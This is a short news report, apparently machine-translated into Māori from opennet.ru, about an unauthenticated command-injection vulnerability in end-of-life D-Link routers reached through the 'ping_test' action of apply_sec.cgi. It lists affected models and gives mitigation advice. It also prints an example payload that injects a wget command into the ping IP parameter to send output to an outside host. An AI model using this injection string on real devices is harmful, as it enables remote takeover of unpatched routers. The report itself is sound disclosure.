I roto i nga pouara ahokore D-Link whakaraeraetanga kino (), ka taea e koe te mahi i te waehere ki te taha o te taputapu ma te tuku tono motuhake ki te kaihautu "ping_test", ka uru me te kore e whakamotuhēhēhia.
He mea whakamiharo, e ai ki nga kaiwhakawhanake firmware, me mahi te waea "ping_test" i muri i te whakamotuhēhēnga, engari i roto i te pono ka kiia i roto i tetahi keehi, ahakoa te takiuru ki te atanga paetukutuku. Ina koa, ka uru atu ki te tuhinga apply_sec.cgi me te tuku i te tawhā “action=ping_test”, ka anga te tuhinga ki te wharangi motuhēhēnga, engari i te wa ano ka mahi i te mahi e pa ana ki te ping_test. Hei mahi i te waehere, i whakamahia tetahi atu whakaraeraetanga i roto i te ping_test ake, e kii ana i te taputapu ping me te kore e tirotiro tika i te tika o te wahitau IP i tukuna mo te whakamatautau. Hei tauira, ki te karanga i te whaipainga wget me te whakawhiti i nga hua o te whakahau "echo 1234" ki tetahi kaihautu o waho, tohua noa te tawhā "ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http:// test.test/?$( echo 1234)".
Ko te aroaro o te whakaraerae kua whakamanahia i roto i nga tauira e whai ake nei:
- DIR-655 me te firmware 3.02b05 neke atu ranei;
- DIR-866L me te firmware 1.03b04 neke atu ranei;
- DIR-1565 me te firmware 1.01 neke atu ranei;
- DIR-652 (karekau he korero mo nga putanga firmware raru e whakaratohia ana)
Ko te wa tautoko mo enei tauira kua pau ke, na D-Link , e kore e tuku i nga whakahou mo ratou ki te whakakore i te whakaraeraetanga, kaore e tūtohu kia whakamahia me te tohutohu kia whakakapihia ki nga taputapu hou. Hei mahi haumaru, ka taea e koe te whakawhāiti i te uru ki te atanga tukutuku ki nga wahitau IP pono anake.
I muri mai ka kitea ko te whakaraerae ano nga tauira DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835 me DIR-825, he mahere mo te tuku i nga whakahoutanga kaore ano kia mohiotia.
Source: opennet.ru